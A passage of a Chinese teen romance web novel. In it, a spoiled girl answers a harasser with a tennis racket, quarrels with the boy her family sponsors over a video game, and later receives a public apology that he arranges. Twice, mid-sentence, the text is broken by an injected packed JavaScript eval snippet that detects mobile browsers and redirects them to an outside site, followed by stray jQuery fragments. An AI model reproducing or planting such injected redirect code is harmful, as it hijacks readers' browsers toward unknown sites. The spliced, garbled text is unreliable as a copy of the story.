但他表现和平时无异,对此表示缄默和置身事外——谁知道大小姐耍的是什么小脾气。 . 在赵坤则看来—— 如果有什么事,那毋庸置疑,肯定是赵星茴的错。 这孩子什么时候让人省心过。 这高中还没安稳多久呢,某日下午,赵坤则在工厂跟一个重要客户谈合作,又接到了学校的电话。 校方说让家长现在过去一趟,说是赵星茴在学校跟一个男生起了冲突,好端端地拿网球拍抽了那男生两下,把人脸都拍肿了,还在教导主任办公室跟人吵架,要把人眼睛挖出来,对方家长已经火速赶到了学校,看见自家儿子脸上的网球印,说要报警,他这宝贝女儿拍着桌子跟对方家长顶嘴,说谁怕谁,报警就报警,走着瞧。 赵坤则沉重地拍了下脑门。 他这边约着重要客户考察工厂,后面还有一堆事儿要谈,实在走不开,褚文兰问了两句,让他安心陪客户,她赶去学校看看怎么回事。 等褚文兰赶去学校,也是着实吃了一惊。 赵星茴坐在教导主任办公室,抱着手臂,拗着冷脸,一副生人莫近的表情。 旁边有个男生,半张脸已经肿成了个猪头,校医在一旁拿着冰袋给他冷敷,对方家长双双到场,沉着两张黑脸被教导主任劝着,看见褚文兰火急火燎冲进来,立马囔着说要去医院拍脑ct验伤,报警请律师。 褚文兰陪着笑脸安抚对方家长,听老师解释才知道怎么回事。 现在这季节还有秋老虎的余热,这几天温度格外高,赵星茴还是爱穿裙子,学校规定女生裙摆的长度最短也要在膝盖上方,赵星茴嫌不好看,用发夹把裙摆内折了一寸,当成百褶裙的样式穿。 她走在学校里,裙子短嘛,两条腿笔直又长,人又漂亮惹眼,旁边男生也是青春期的年龄,看见她这裙子就说了几句,被赵星茴听见了,直接走过去用网球拍扇人,那男生一时没躲开,网球拍直接拍脸上,把脸给拍肿了,两人动起手来,被路过的老师带去了办公室。 虽然这事情是男生引起的,但赵星茴先动手,揍得那男生毫无招架能力,何况学校有规定,她这裙子的确不合规定,现在男生家长就揪着这两点在闹,说是赵星茴霸凌同学,自家儿子不过就是开了两句玩笑就被挨打,向学校和对方家长讨个说法。 褚文兰也听到了,那家长也有些蛮不讲理:“你家女儿有能耐穿这么短的裙子,没能耐听别人议论,说的本来也是事实,学校哪个好女孩招摇穿成这样,不就是想故意勾引男生,学校怎么能收这种不检点的女孩子,我们把孩子送到学校怎么放心……” 赵星茴“噌”地跳起来:“我尊重你们是大人,再敢说,我连你们一起骂。我裙子哪里短,没穿还是没遮?就你儿子乖,嘴里不干不净的话是我教的?什么下流货色,脑子是臭水沟是吧,看见什么都是淫//色。” “星茴,星茴。”褚文兰拦她,“好好说话,别闹了。” 赵星茴气得满脸通红,被褚文兰和老师联手拦下,褚文兰皱起眉头,安抚她:“你先出去吧,这事我来跟人家解决,你别在这添乱。” 这种糟心事儿,遇上对方家长这种人,有什么可说的。 公司那边还一堆事要解决,何况赵星茴揍人在先,褚文兰不想闹腾,只想大事化小小事化了,对方家长再强势,不过也只想多讹点医药费,还有学校在中间调停,付点补偿费也就算了。 后来褚文兰面色不算好看地出来,带着赵星茴:“走吧,没事了,收拾收拾回家吧。” 已经是放学时间,褚文兰打了个电话,又捎上了闻楝。 闻楝在并不知道这事。 事发那会赵星茴班上体育课,吵起来后直接被老师带去了办公室,闻楝好端端地在教室坐着,这会看见褚文兰领着赵星茴,两人脸色都冰冷难看,诧异地喊了一声“兰姨”,跟着一道回去了。 车里谁也没说话,到了家门口,赵星茴径直下车,“哐”地把车门摔上,褚文兰拍拍闻楝肩膀:“你跟小茴先回家,今天实在太忙,你赵叔叔没空,我还有点事要回公司,晚上还有应酬,估计回来得晚,你帮忙看着点小茴,她心情不好,可能会闹腾。” “我知道了,兰姨。” 把两个孩子送到家,褚文兰没下车,让司机直接调头,回公司去了。 闻楝跟在赵星茴身后,看她冷冰冰地走着,手捋着裙摆,恨恨把几个一字发夹扔在地上,乒乒乓乓地进了家门,书包鞋子外套甩了满地都是。 闻楝默默无言地跟着,一件件捡起来。 赵星茴叮叮哐哐一路甩走,打开冰箱,哗哗啦啦翻出果汁和甜品蛋糕,转身又顺脚踹开眼前碍事的椅子。 闻楝站在她身旁,扶住那把要倒地的椅子,诧异地抬眼看她。 “看什么看?” 她嗓音冷脆地凶他,恨恨地撇开发红的脸,眼里泪光闪闪,蹬蹬蹬地上楼去了。 闻楝满手拎着她的东西,看着她的背影,倒是怔了一下。 . 赵星茴窝在房间不肯下楼,连晚餐都是燕姐端上去的,第二天连学也不上,说要请假在家休息几天。 她把男同学打成猪头的事情,闻楝听褚文兰略提了几句,这种闯祸的情况也不是第一次了,赵坤则早上敲敲二楼的门,说是人都揍了,赔了点钱,学校也没有给处分,事情也结束了,让赵星茴早点上学去,别成天窝在家里。 方歆也不太清楚这事具体的来龙去脉,问闻楝:“我给星茴打电话,她说忙着玩游戏呢,也不跟我聊,她什么时候回来上学?” 闻楝淡声说不知道。 赵星茴已经在家窝了两天了,闻楝下午放学回家,餐厅桌上堆了一大袋零食,燕姐努努嘴,说都是赵星茴买的,客厅茶几上还有一堆吃的呢,赵星茴在家要么看电视要么打游戏,连吃饭都没闲下来。 晚上赵星茴下楼来玩游戏,连觉都不睡了,褚文兰和赵坤则不在家,燕姐也不太好管她,说了几句就任由她去,闻楝睡前站在客厅,问她:“你还不睡觉吗?” 她嘴里叼着棒棒糖,盯着电视屏幕:“不睡。” “该休息了。”闻楝柔声道。 “不要你管。”赵星茴皱眉嘟囔。 闻楝平静看着她:“很晚了。” “你谁啊?凭什么管我。”她一副不耐烦的表情,嫌他碍事,也嫌他多嘴,“不用你管。” “赵叔叔和兰姨让我叮嘱你早点睡觉。”他站着不动。 赵星茴大大地翻了个白眼,又冷又长地嗤笑了一声,窝进沙发,摆了个深陷其中的姿势,压根不搭理他。 闻楝被晾在一旁。 他冷冷清清地站了半晌,眉心蹙了蹙,转身回房,关灯睡觉。 半夜十二点,闻楝还听见屋外的游戏声效隐隐约约传来,起身下床,打开了房门。 客厅光线暗暗,电视屏幕幽幽照着赵星茴的精致面容。 很难说,有些人就是很难听话服管教,闻楝走过去,赵星茴察觉脚步声,瞟了他一眼,懒懒指使他:“我饿了,你给我弄点吃的。” “吃什么?”他轻声问。 “你不是还欠我一碗泡面么?或者别的。”赵星茴睫毛轻眨了一下,密绒绒的阴影投在瓷白的皮肤上,眼神专注地盯着屏幕。 没吵醒燕姐,家里也没找到泡面,闻楝在厨房煮了碗虾仁鲜汤面,煎培根和荷包蛋,捧出来端去客厅。 闻到香气,赵星茴扔了游戏手柄:“我想吃草莓。” 闻楝又去给她洗草莓。 吃完夜宵,她懒洋洋伸了个懒腰,把残局留给闻楝收拾,揉着眼睛上楼睡觉。 第二天赵星茴还不上学。 闻楝问她要不要补一下功课,她晃着逗猫棒跟爆爆玩,漂亮的眼睛乜他,冷嘲热讽:“你干脆当我的私人管家算了,什么都要管,这也是我爸和褚文兰的要求?” 闻楝抿唇:“你好几天没去上学。” “我跟学校请了一个礼拜的假。”她毫不客气地瞪他,“你烦不烦啊,别假惺惺了,少管我的闲事ok?看着你就烦。” 闻楝脾气一惯的温和,这会也禁不住冷淡下来,眉眼生冷,一声不吭地转身就走。 明显是生气了——赵星茴讨厌他转身就走的样子,恨恨朝他砸了颗葡萄,抱着爆爆也气呼呼地上楼了。 大小姐脾气发作,闹起幺蛾子来,谁都料理不了。 睡一觉起来,两人又别别扭扭地坐在餐桌一起吃早餐。 下午闻楝回家,正要径直迈进房间,赵星茴喊了一声“喂”,拿出个游戏手柄,娇声冷气:“陪我玩。” 自从知道闻楝游戏玩得好,赵星茴偶尔无聊也要求他陪玩。 闻楝停住脚步,也没说什么,放下书包,拿着游戏手柄,挑了个不远不近的距离,在地毯上坐下。 赵星茴玩什么,闻楝就陪她玩什么,游戏换了好几个,每次都在半途切掉——连着玩了好几天,赵星茴都玩腻了,没什么意思。 她挑了个趣味冒险闯关游戏,选择了同伴合作模式。 画面上跳出了两个圆溜溜、细胳膊细腿的小人,两人互帮互助,配合着跳过陷井关卡,赵星茴的小人从火坑里爬出来,伸手去拉闻楝的小人,没想手一滑,闻楝的小人直接摔进了坑里。 小人死的时候会有“啪叽”的音效,但终结表情和场景是随机的,屏幕跳出个吐舌头的丧表情,小人变成爆米花炸开。 有点搞笑。 赵星茴终于笑了两声,语气轻快:“抱歉,我手滑。” 第二回,游戏读档重来,没走多远,赵星茴从烟囱里爬出来,又不小心摔下来,把站在下面托着她的小人砸成了荷包蛋。 “抱歉,没站稳。” 第三回,闻楝好端端地走在路上,被赵星茴敲了一榔头,晕倒在地。 “抱歉,这里黑乎乎的,我以为是怪物攻击……” 第四回…… 第五回…… …… 第十回,闻楝刚开局就被赵星茴蹦死了。 赵星茴洋洋得意,哈哈两声:“你的小人生命值也太脆弱。” 第二十回,闻楝再傻也知道赵星茴故意整他玩,温声问她:“游戏可不可以结束?” 赵星茴说不行:“我还没玩完呢。” “那换个玩法可以吗?” “不行。” 第三十回,闻楝已经经历了各种滑稽死状,停住手柄:“我想回房间写作业。” 赵星茴:“等一会。” 第三十八回,闻楝的耐心已经告罄,声音还维持着平静:“我要回房间写作业。” “不行。” “我已经陪你玩了很久。” “不要说废话。”赵星茴语气笃定,我行我素,“我说了算。我没说结束,就不能结束。” 别管他想怎么样。 大小姐的命令就是不可违抗的命令。 闻楝默不作声地陪她玩下去,读档,game over,读档,game over ,读档…… 赵星茴从这个游戏里挖掘了新玩法,乐此不疲地捉弄着小人,闻楝麻木地按动着游戏手柄配合她,足够温和的神色变成了沉默的冷淡。 时间已经不早,闻楝没有兴趣陪她消磨,直接起身。 赵星茴盯着屏幕:“不许走。” “天已经黑了,很晚了,可以结束了。” “可我还想玩。” 闻楝抿唇:“我不想。” “不行。”她语气任性。 闻楝认真看了她一眼,嗓音带丝丝冷:“我已经陪你玩了很久很久了,读档了五十多次,而且你其实并不想玩游戏。” “你怎么知道我怎么想的,我就是想玩,我就是要这样玩。”赵星茴扭头看着他,漂亮的眼睛半映屏幕的艳光,半是夜幕的黯淡,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726289|189465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我没有说结束,你必须坐下。” 她说,必须。 闻楝站着不动,眉棱紧皱,望着她的漆黑眼睛隐没在黯淡的光线中,薄唇紧抿,显然是不愿意。 “闻楝。” 赵星茴惯性地抬起了脸。 她的下颌线条柔美精致,淡红娇美的嘴唇有任性少女高高在上的唯我和命令,“陪我玩。” 闻楝的脾气控制得很好,在赵星茴面前从来是任她搓扁揉圆。 他捡起了地上的游戏手柄,又坐回了地毯,平静说好,可以开始,而后在进入游戏界面的第一秒,直接敲爆了赵星茴小人的脑袋。 滑稽的“啪叽”音效响起。 赵星茴猛然扭头,杏眼瞪他:“你什么意思?” “没什么意思。”少年的好脾气荡然无存,淡漠语气显露棱角,“抱歉,我手滑。” 赵星茴睫毛一翘,咬了咬唇,读档切下一轮游戏。 好样的,那就看看鹿死谁手吧。 第二轮游戏,两个小人别别扭扭地走在地下迷宫,不仅要提防随时出现的陷阱,还要提防对方的攻击。 赵星茴在跳上台阶的瞬间被闻楝撞飞了,小人“啪叽”甩在墙上,变成了一张纸片。 她重重地捏了下手柄,听见闻楝淡声道:“抱歉,没站稳。” 第三回还没躲过,赵星茴秀眉紧蹙,恨恨磨牙。 第四回开局又死,赵星茴捶了下游戏手柄。 她不说停止游戏,憋着一股劲要和闻楝较劲,要抢夺上风报仇踢爆那个小人的脑袋,闻楝随她,一轮一轮跟她玩下去。 第十回,赵星茴愤怒地尖叫了一声。 …… 第二十回,她完全被闻楝碾压,下嘴唇要快咬出了淡白的牙印。 第三十回,餐桌的饭菜都凉了,两人在坐在客厅打游戏,赵星茴背姿像离弓的箭,脸色已经很难看,很难看,极其难看…… …… 第四十回,屏幕上的小人一秒倒地,赵星茴终于离奇地愤怒,把手中的游戏手柄扔向了闻楝。 手柄砸在地板上。 赵星茴咬着腮帮子不说话,愤怒得像只抓狂的猫。 闻楝睫毛掀开,态度冷淡地瞥了她一眼,幽黑眼神锐利清亮,是毫无掩饰的、很有主意的清韧。放下游戏手柄问她:“游戏结束是吗?” 他垂下眼睛,利利落落地起身,迈动脚步转身离开。 赵星茴拗起下巴,在他身后冷嗤了一声,“不想忍气吞声,终于赢回来了,你很开心是吧?” “忍得很辛苦吧,不得不围在我身边,其实一点都不想搭理我,却一直按捺着脾气忍耐我。”赵星茴嗓音清脆冷清,“闻楝,你就直接承认你讨厌我好了。” “你们都讨厌我,都受不了我,每天都在忍受我的折磨,我就是个麻烦精,讨厌鬼。”她愤怒地吼,尾调还带着委屈,恨恨把脸埋进了沙发。 闻楝看她蜷成一团趴在沙发里,呼吸紊乱,脸埋着不让人看,长而洁白的公主裙,一点裙摆花瓣似的撒开,黑绸样的头发跟随主人的脾气被揉得有点乱,却挡不住单薄的肩膀剧烈起伏和纤瘦白皙的手臂紧紧揪着沙发一角。 他本想走开,却又犹豫着迈不动步伐。 最后闻楝走近了沙发,窥见她藏在发丝里的耳朵连着脸颊已经红透,抽了张纸巾递过去,挨着她的指尖。 赵星茴甩开手,把脸得更深,闷闷哑哑地让他滚开。 闻楝又递了一张纸巾过去。 “没有很讨厌。”他垂着眼,“你误会了。” 没有很讨厌,但谁会喜欢这种大小姐脾气。 他不承认,赵星茴梗着嗓子也要说:“你别以为我看不出来。你不想跟我同班,偏偏要说一大堆理由,你不想跟我说话,偏偏非得说,你不想听我的话,偏偏要顺从我的要求。你笑起来很假,偏偏要装作一副好相处的样子说说笑笑,你就是个虚伪的人。” 她手指抓着纸巾,侧过脸,把纸巾摁在眼睛。 闻楝瞥见了她的婆娑泪眼和湿润睫毛,抿抿唇:“兰姨让我和你好好相处。” “对,你跟褚文兰一样。” “没有很讨厌你,也许只有那么一点点。”闻楝嗓音清韧,神色冷清,“你不更讨厌我吗?第一次见我就让我滚,不想让我呆在这里,警告不许我跟你说话,不愿意我跟你待在一个班,怎么看我都不顺眼……我不想留在这里,是兰姨的要求,我没有办法拒绝她,如果她和赵叔叔愿意,我现在就可以走。” 赵星茴抬起脸,梗着脖子冷声道:“我就说了那一次,我现在又没有赶你走。” 闻楝又递了张纸巾过去,淡声道:“那我只能和你好好相处。” 他嗓音清澈真诚,说的话也不让人难受,赵星茴脾气来得快去得也快,不过就是玩个游戏被气哭,有什么好哭的,她也赢了闻楝好几十次。 她从沙发上坐起来,吸了吸微红的鼻子,泪光晶莹湿漉的明眸一转,呛他:“不许看我。” 闻楝扭过了脸。 “不许跟别人说。”赵星茴把纸巾往眼睛上按了按,恢复了平静。 “说什么?”闻楝疑惑。 “说现在!”赵星茴提高音量。 说她哭了的事。 “明白。”闻楝懂了。 “你走吧,不许看我,一眼也不许看。” “好。”闻楝迈步回房间。 赵星茴抱着抱枕在沙发怏怏坐了会,缓缓吐出口气,最后又平静地倒在沙发上。 情绪发泄完毕。 . 第二日,赵星茴收拾书包,准备去学校。 闻楝正要出门,看见她从楼梯上下来,两人目光撞上,脸色还有点讪讪的,但也就那么一瞬。 反正两人吵也吵了,闹也闹了,哭也哭过了,话也说了,赵星茴现在心情好些,对着闻楝也有点破罐子破摔的心态。 她把书包扔给他,抬抬下巴,语气傲慢:“我也要去学校,让司机等我。” 她去餐厅吃两口早餐。 闻楝说好。 方歆终于在学校看见好友,这几天赵星茴光顾着在家打游戏,方歆说要去陪她,赵星茴都说不要。 “你没事吧,星茴。” “没事。” 方歆拽拽她的袖子:“那个男生的事情就这么结束啦?” “应该是吧。钱都赔了,好歹也揍了他一顿,还算值吧。” 方歆搭着她的肩膀:“明明可以再跟对方理论理论的,说话那么恶心,至少要赔礼道歉吧,还是你受委屈了。” 赵星茴语气轻快,“下次我听见他放屁,再揍一顿好了,反正赔得起。” “不过你现在超级出名哦,整个高中部都知道高一有个性格高冷又火爆的漂亮学妹,我猜现在应该没有人敢得罪你吧。” 赵星茴骄傲起来:“那可太好了。” 闻楝只是在家听褚文兰说了几句,对这件揍人事件前后细节始末缺乏了解,也没有太细致追究赵星茴的情绪波动,听见方歆说了这么几句,回到班级方歆递作业给他,他也装作不经意开口问了一下。 “一开始星茴也不肯说,后来我去问了她们班知道内情的女生,又追着星茴问了几次,那时候她们班要上体育课嘛,星茴好好走在路上,那个男生看见星茴,跟身边的朋友说她腿漂亮。” 方歆皱皱鼻子:“他用词好恶心,说她很好搞,星茴让他道歉,他不肯,说她故意发/骚穿这么短的裙子勾引人,我都不想说出那些恶心词汇来,星茴气不过,就直接抡着网球拍动手了。” 闻楝默默听着,面色转而冷清。 “人家都那样开口污蔑了,星茴家里还想着息事宁人呢,那星茴的精神损失咋说呢,一句道歉都没有,她从小被家里人宠大的,连骂都没骂过一句呢,什么时候受过这种委屈。这要是我家,我爸妈肯定指着那家人的鼻子骂他个千百回,该报警报警,该请律师请律师,就算打人不对,那也要让所有人看看他们家的德行,一家下/流/贱/货。” 他想起赵星茴那张肤光胜雪、骄傲无比的脸,也想起她窝在沙发里打游戏,厌然忿忿,最后掉眼泪的模样。 11. 第 11 章 开学不过两仨月,赵星茴被当选为高一年级最不好惹的女生,喜提中二外号“带刺玫瑰”,美而高冷尖锐,不敢亵渎。 方歆绘声绘色,赵星茴尬出天际。 但别说,这个呆板印象偶尔也有好用的时候。 班上的语文老师是个温柔娇小的年轻女士,教室后排几个男生向来不把语文课放在眼里,吃东西打游戏聊天无所顾忌,窸窸窣窣吵死人,语文老师又管不住,赵星茴被吵得头疼,眼风冷冷:“你们吵什么吵,能不能闭嘴?” 那几个男生被惹不起的大小姐冷声一吼,默默地闭上了嘴。 洗手间有女生聚在一起聊天说话,堵着洗手池要别人排队,赵星茴蹙眉抱手,拗着下巴不好惹,又不耐烦:“能不能让一让?还有,在背后阴阳怪气诋毁别人很乌烟瘴气,麻烦换个地方。” 女孩们抽抽唇角,翻了个大大的白眼走出洗手间。 赵星茴难免觉得……嗯,很好用。 学生餐厅二楼的角落,赵星茴扭了扭,声音泠泠:“能不能打游戏一直输给我?” 闻楝坐她对面吃饭,眉眼不动,语气淡然:“不能。” “你不答应的话,那我回家把游戏机砸了。”她拗起修长天鹅颈,“谁也没得玩。” 闻楝不为所动:“随便。” 求之不得,反正砸的是她的游戏机。 她没什么好威胁他的,赵星茴噘了下唇,筷子戳戳,冷声哼哼又理直气壮:“那能不能把你那碗菠萝咕咾肉给我,反正你也不爱吃甜,我想吃,排队人太多了!” 闻楝看了眼自己餐盘。 他表情松动,赵星茴趁机而入,公平公正:“我拿我的栗子烧肉跟你换。” 不用闻楝主动,她手速快快地把栗子烧肉放他餐盘,自作主张抢走了那份菠萝咕咾肉。 闻楝什么也没说,依旧低头吃着自己的午饭,赵星茴开开心心地挟了口菠萝。 方歆早饭没吃,饿了一上午,这会坐在他俩旁边猛猛往嘴里炫饭,听见两人说话,瞅瞅赵星茴,又瞅瞅闻楝,诧异问:“你俩……” 好像有点不对劲。 但又说不出来,哪儿不对劲? 这两人虽然逐渐熟悉,现在关系虽然说不上坏,但也绝对说不上好。 不过……闻楝怎么会对赵星茴说“不行”?赵星茴又怎么会去吃闻楝的东西? 事后方歆问赵星茴:“你和闻楝最近关系是不是有点奇怪?” “没有吧。”赵星茴神色无异,含含糊糊,“哦,对了。前阵子我还跟他吵架呢。” “你俩吵架?” “嗯。他说他讨厌我。”赵星茴只顾盯着自己手里的漫画。 “他居然敢说讨厌你,你不生气吗?” “不生气啊。” “为什么?” 赵星茴理所当然,“因为我也讨厌他呀,他讨厌我不是很正常吗?” “虽然,但是……正常吗???” “不是有个典故吗?我看青山多妩媚,料青山看我应如实。我看他是个讨厌鬼,他看我当然也是讨厌鬼喽,多正常啊。” 方歆无语:“好好好,人家讨厌你还真是一点都不介意,骄傲得清新脱俗,你俩玩吧。” 赵星茴理直气壮。 讨厌就说讨厌,可别装出一副乖巧温柔的样子在眼前不情不愿、委屈求全,难看死了。 这么一想,她做点什么就更理所当然了。 她嫌闻楝下午回来得太晚了,忍不住要抱怨:“你怎么回事,最近回来得越来越晚。在路上磨磨蹭蹭什么?现在距离放学时间已经过了两个小时,这么晚才到家。” 闻楝站在门口换拖鞋:“做作业,坐公交。” “是你自己不要司机放学接你的,公交也是你自己要坐的。”她叉着腰,振振有词,“不是我的问题。” “有什么事吗?”闻楝蹙眉。 赵星茴不太自然地鼓鼓腮帮子,没好气:“燕姨晚饭都做好了,我饿了。” 她手里还握着只笔。 “抱歉,可以不用等我。”闻楝道歉。 赵星茴把笔咯哒咯哒按了两下,又抿了抿唇,眼神四瞟:“有道题……你看下,我怀疑是题目出错了。” 落后了一周的功课,赵星茴也没想要找补课老师,打算自己抽时间补起来。 今天有道题怎么算都算不对,她抓狂了很久。 赵星茴语气生硬地让闻楝看看她那道题。 闻楝先去洗手,赵星茴别别扭扭拎着作业等他,两人最后坐在了餐桌,闻楝捏过她手中的笔,那支粉嫩可爱的水笔已经被她捏得温热,在草稿纸上流畅地写下解题步骤。 赵星茴趴在旁侧看他解题。 她第一次看见他的字,有主人的清隽流利,笔锋转折处也带着利落的硬韧棱角。 他嗓音清澈:“这道题的解题方法比较有技巧,在第二步套用这个公式……” “你慢一点,我前面还没看完呢。”她蹙起秀眉。 闻楝顿住笔尖,放慢了笔速,也放缓了声音:“你前面的步骤都是对的,但从这里开始解题思路错了。” “你凭什么说我的解题思路有问题。”赵星茴不愿服输,跟他硬杠,“我每一个步骤都是按照参考书的解题思路来的,为什么一定要用你那个思路,我这个思路为什么不对。” “因为这个点的受力分析不对。你应该从这样……” 赵星听他说完,黑白分明的眼睛闪闪发亮,也是难以说服:“我不同意你的说法,老师明明在课上说,这种情况应该根据实际情况分析……” 她叽里呱啦说了一大通,句句都在反驳闻楝,牙尖嘴利,最后用一副“你输了吧”的目光望着他。 闻楝开口想说点什么,却又哑口无言,只能抿了下唇,用漆黑的眼睛望着她。 “你看我干嘛?我哪句说得不对。” 她睫毛眨眨,看他薄唇干涩,挪了杯柠檬水过去:“喏。” 闻楝跟她讲了一通,不知道她脑子里都是什么旁门左道,好像鸡对鸭讲,顺手喝了口柠檬水,嗓音哑哑:“课本呢?” “嘿,你会不会讲啊?不会是徒有虚名吧,还要掏课本现学。”她嘲笑他。 闻楝埋头没说话,半响翻书,黑睫低掩:“所以家庭教师都是这样被气跑的吧?” 赵星茴微愣,扭头“哼”了一声。 他没介意,也没跑,只是把课本往前翻了好些页:“如果你想听的话,这道题可以从这里开始讲。” 这顿晚饭是在课本旁吃完的,燕姐一看他俩那架势,两人并肩坐在一起,也不吵也不闹,吃完饭连碗碟什么时候撤下去的都不知道,再然后就是赵星茴叼着棒棒糖,目光空洞地撑着下巴听闻楝说话,最后她书也不要了,作业也不写了,脑子被掏空一样,上楼休息去了。 . 高中部的秋季运动会就在本周举行。 方歆跃跃欲试:“今年运动会学校很重视哎,还有篮球赛和足球赛,听说市教育局领导会来考察,还有电视台记者采访报道,如果表现精彩的话可以在新闻上镜耶。” “闻楝也报了好几项,还有篮球比赛,好像听说他们最近训练蛮晚的。” 赵星茴没兴趣,只想坐在观众区隔岸观火。 她对运动会唯一的贡献是作为吉祥物入场举牌,五班风格主打一个隆重,开幕那天赵星茴戴皇冠,穿长长的亮片公主裙,脚步款款地走向了操场,然后杵着班级牌号,站在主席台下当壁花。 闻楝作为本届新生的学生代表,和另外一名女生配合,被邀请上主席台演讲。 平常他和赵星茴聊不出一箩筐的话,穿得也是黑白灰毫无亮点,不知道为什么站在主席台上反倒清朗耀眼,能温和浅笑地念出那字字珠玑的演讲稿。 赵星茴站在台下,跟着下面的鼓掌声,挤出了一个笑脸。 闻楝看见了。 太阳底下她皮肤有雪一样的无暇光芒,让人很难不注意,甜美笑容很敷衍很不耐烦。 那意思是到底什么时候才能结束罚站。 赵星茴身上的公主裙是凌微买的重工贵牌,皇冠是她小时候的收藏品,她舍得在这种场合拿出来走塑胶操场,早上闻楝帮她把礼服拎出门,袋子重得连他都诧异,何况她脚下还踩着双从没穿过的高跟鞋。 明明是拖地的裙子,穿什么鞋都无所谓,她为了从头到脚的精致,却找出了一双水钻公主鞋。 闻楝不懂女生对爱美的执着,但赵星茴小心翼翼踩着鞋子尝试着走出优雅步伐,裙摆摇曳出璀璨的涟漪,眼里流光溢彩,笑问燕姐好不好看时。 连他都莫名其妙抬头。 少女纤细白皙的小腿和脚踝,娇嫩的脚后跟已经磨出了红痕。 现在,站在主席台下的赵星茴只想狠狠地甩掉这双水晶鞋——谁能知道今天的运动会开幕办得这么隆重,拖到中午还没结束。 下午赵星茴换回了日常衣服,脚还疼得要命,坐在位子上都没挪窝。 两个班的休息场地挨着,闻楝下午就有比赛项目,赵星茴披着校服坐在角落,只用眼睛和耳朵凑热闹。 她以前从没正眼看过闻楝,坐在操场才略微开了点眼界,别说隔壁六班,就连自己班上都有不少女生忙前忙后,忙着给闻楝递水送湿巾,甚至校广播台还有人给他点歌加油送鼓励。 天理何在。 方歆忙着给自己班上的同学加油打气,后来看赵星茴坐着无聊,问她要不要去看闻楝的篮球赛。 “操场没有遮挡,太阳太晒了,篮球场那边还有看台遮阴,啦啦队也很热闹。”方歆说,“哦,对了,还有校领导观赛呢,不去看看吗?” 赵星茴拖着方歆的胳膊去了。 等她坐下,随随便便往场上一瞄,就是没料到,那个被她揍成猪头、还讹了家里一笔钱的男生也在篮球队中。 赵星茴直接想走。 “来都来了。”方歆死活拽着她,“比赛马上就要开始了,旁边还坐着校领导,你这样走开多显眼,影响不好。” 比赛开始,赵星茴一眼都懒得多看,只听得见篮球砸地的动静、啦啦队的鼓舞、裁判的吹哨声和观众席的欢呼声。 “星茴,你觉得哪队会赢?”方歆问。 “不知道。” 她才不管哪队赢,但要是闻楝那队输掉的话,她大概会气得朝他脑袋敲两榔头。 后半场赵星茴多瞄了两眼,裁判吹哨,闻楝抢了篮板,跟对方起了冲突,那个男生被罚球,再往后比分追逐越来越激烈,一声长哨,闻楝这边以微弱优势取 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726290|189465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胜,观众席上扑起一片欢呼,对方球队不情不愿下场。 本来以为比赛结束了。 谁知道场上突然起了冲突,那个猪头三突然撞了闻楝一把,嘴里骂骂咧咧了两句,两人在场上推搡争执起来,猪头三一拳朝闻楝挥去,被裁判和体育老师制服在地。 全场人看得目瞪口呆。 一场篮球赛,怎么还能打起来。 校领导还没全部离席,看见这场面,面色严肃凝重地过来调停,黑着脸问他们是不是想把学校的脸都丢光。 闻楝那张脸自带好感,唇红齿白怎么看怎么无辜,何况脸颊边还带着一块淤青。 那男生也回过神来,知道自己闯祸,耷拉着脑袋认罚。 教导主任黑着脸,伸手指指点点:“学校的荣誉不容抹黑。这次记处分,你,你交一份检讨书上来,等这次运动会结束,全校通报批评。” 男生嘴里半个字也说不出来。 闻楝站在旁侧,乖乖好学生的姿态,心平气和开口:“老师。今天这场球赛我们都准备了很久,也不是第一次和这位同学接触。除了我,学校也有不少人被这位同学欺负过,今天在场这么多同学,我有个要求,希望他当众跟所有人真心诚意地道个歉,保证以后不会再犯同样的错误。” 他伸手指了指前方的看台。 赵星茴被他漆黑目光遥遥一撞,自己还懵着呢,方歆激动得揪了她一把,差点让他:“我没想到啊!!!” 教导主任点头,那个男生哭丧着一张脸,朝着赵星茴那个方向鞠了个躬:“我在此,跟所有被我欺负过、伤害过的同学表示歉意,对不起。我保证以后改正错误,希望你们能原谅我,再给我一次机会。” 不管这话是不是和赵星茴说的,不管诚意有多少,她看见了前方鞠躬的人,也听见了他说对不起。 想起来还是很难受…… 她从小长到大,从来没有人,至少没有人当着她的面。 用那样的字眼形容过她。 最后赵星茴别别扭扭地走到了闻楝面前。 刚才方歆说,闻楝让她带赵星茴来看篮球比赛,一定要来。 她目光闪烁,瞟了他一眼:“你脸上疼不疼?他打到你了吗?” “不疼,只是被蹭了一下。” “要不要去医务室?” “不用了,没事。” 赵星茴望了望远处,目光又收回来,咬咬唇:“你什么意思啊?” “没什么意思。” “今天这么重要的活动,你故意惹他生气,让人揍了你一拳被大家看见是吗?然后就……” “你以前不是说,有学校公开活动的日子,违反校规的后果很严重。”闻楝看向她:“这样可以吗?至少他说了对不起。” “可以了。”赵星茴抿唇,“我本来也不想再看见他,也不想跟他多说一句话。” “那就行。” 她想了又想,最后还是忍不住问:“喂,这跟你有什么关系?” “因为我被兰姨和赵叔叔资助,我上学吃饭睡觉,我身上的衣服鞋子花的都是你家的钱。 ” 赵星茴扭开脸,嘀咕:“那跟我有什么关系。” “你不知道吗,赵星茴。”闻楝喝了一口水,少年眉眼柔顺,汗珠在睫间闪闪发光,“因为你不高兴,全家人都要遭殃,连带着我,一个小游戏,陪你玩了一百多遍。” “闻楝,你什么意思啊。” 